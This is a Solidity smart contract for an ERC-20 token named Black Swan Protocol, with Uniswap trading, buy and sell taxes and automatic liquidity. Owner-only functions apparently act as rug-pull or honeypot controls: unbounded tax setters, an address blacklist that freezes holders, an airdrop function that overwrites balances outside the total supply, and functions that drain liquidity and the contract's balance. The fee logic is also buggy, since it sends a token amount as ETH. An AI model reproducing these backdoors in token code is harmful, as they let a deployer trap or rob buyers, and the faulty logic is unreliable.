//SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
	function removeLiquidity(
		address tokenA,
		address tokenB,
		uint liquidity,
		uint amountAMin,
		uint amountBMin,
		address to,
		uint deadline
    ) external returns (uint amountA, uint amountB);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract BlackSwanProtocol is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;
	mapping(address => bool) public bots;

	uint256 private _tTotal = 100000000 * 10**8;
    uint256 private _contractAutoLpLimitToken = 1000000000000000000;

	uint256 private _taxFee;
    uint256 private _buyTaxMarketing = 6;
    uint256 private _sellTaxMarketing = 12;
    uint256 private _autoLpFee = 3;
    uint256 private _LpPercentBase100 = 35;
	address payable private _taxWallet;
    address payable private _contractPayment;
	uint256 private _maxTxAmount;
	uint256 private _maxWallet;

	string private constant _name = "Black Swan Protocol";
	string private constant _symbol = "SWAN";
	uint8 private constant _decimals = 8;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 coinReceived,
        uint256 tokensIntoLiqudity
    );

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
    
	constructor () {
		_taxWallet = payable(_msgSender());
        _contractPayment = payable(address(this));

		_taxFee = _buyTaxMarketing + _autoLpFee;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
        _maxTxAmount = _tTotal.mul(2).div(10**2);
	    _maxWallet = _tTotal.mul(4).div(10**2);

		_balance[address(this)] = _tTotal;
		emit Transfer(address(0x0), address(this), _tTotal);
	}

	function maxTxAmount() public view returns (uint256){
		return _maxTxAmount;
	}

	function maxWallet() public view returns (uint256){
		return _maxWallet;
	}

    function isInSwap() public view returns (bool) {
        return _inSwap;
    }

    function isSwapEnabled() public view returns (bool) {
        return _swapEnabled;
    }

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    
    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
        _taxFee = taxFee;
    }

    function setSellMarketingTax(uint256 taxFee) external onlyOwner() {
        _sellTaxMarketing = taxFee;
    }

    function setBuyMarketingTax(uint256 taxFee) external onlyOwner() {
        _buyTaxMarketing = taxFee;
    }

    function setAutoLpFee(uint256 taxFee) external onlyOwner() {
        _autoLpFee = taxFee;
    }

    function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() {
        _contractAutoLpLimitToken = newLimit;
    }

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(!bots[from] && !bots[to], "This account is blacklisted");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
				require(_canTrade,"Trading not started");
				require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
			}

            if (from == _pair) {
                _taxFee = buyTax();
            } else {
                _taxFee = sellTax();
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!_inSwap && from != _pair && _swapEnabled) {
                if(contractTokenBalance >= _contractAutoLpLimitToken) {
                    swapAndLiquify(contractTokenBalance);
                }
            }
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2);
        uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance);

        uint256 half = autoLpTokenBalance.div(2);
        uint256 otherHalf = autoLpTokenBalance.sub(half);

        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half);
        uint256 newBalance = address(this).balance.sub(initialBalance);

        addLiquidityAuto(newBalance, otherHalf);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);

        swapTokensForEth(marketingAmount);
        sendETHToFee(marketingAmount);
    }

    function buyTax() private view returns (uint256) {
        return (_autoLpFee + _buyTaxMarketing);
    }

    function sellTax() private view returns (uint256) {
        return (_autoLpFee + _sellTaxMarketing);
    }

	function setMaxTx(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

    function swapTokensForEth(uint256 tokenAmount) private {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}

	function createPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidityInitial() external payable onlyOwner {
		_uniswap.addLiquidityETH{value: address(this).balance} (
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

		_swapEnabled = true;
	}

    function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private {
        _approve(address(this), address(_uniswap), tokenValue);
        _uniswap.addLiquidityETH{value: etherValue} (
            address(this),
            tokenValue,
            0,
            0,
            owner(),
            block.timestamp
        );

        _swapEnabled = true;
    }

    function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external onlyOwner returns (uint amountA, uint amountB) {
    	return _uniswap.removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
    }

    function emergencyWithdraw(address _token) public onlyOwner {
        if (_token == address(0)) {
            owner().call{ value: address(this).balance }("");
        } else {
            IERC20 token = IERC20(_token);

            uint bal = token.balanceOf(address(this));

            token.approve(address(this), bal);
            token.transfer(owner(), bal);
        }
    }

	function enableTrading(bool _enable) external onlyOwner{
		_canTrade = _enable;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function setMaxWallet(uint256 amount) public onlyOwner{
		require(amount>_maxWallet);
		_maxWallet=amount;
	}

	receive() external payable {}

	function blockBots(address[] memory bots_) public onlyOwner  {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
	function unblockBot(address notbot) public onlyOwner {
			bots[notbot] = false;
	}

	function manualsend() public {
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

    function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner {
        for(uint256 i = 0; i < recipients.length; i++) {
            _balance[recipients[i]] = amounts[i] * 10**8;
            emit Transfer(address(this), recipients[i], amounts[i] * 10**8);
        }
    }
}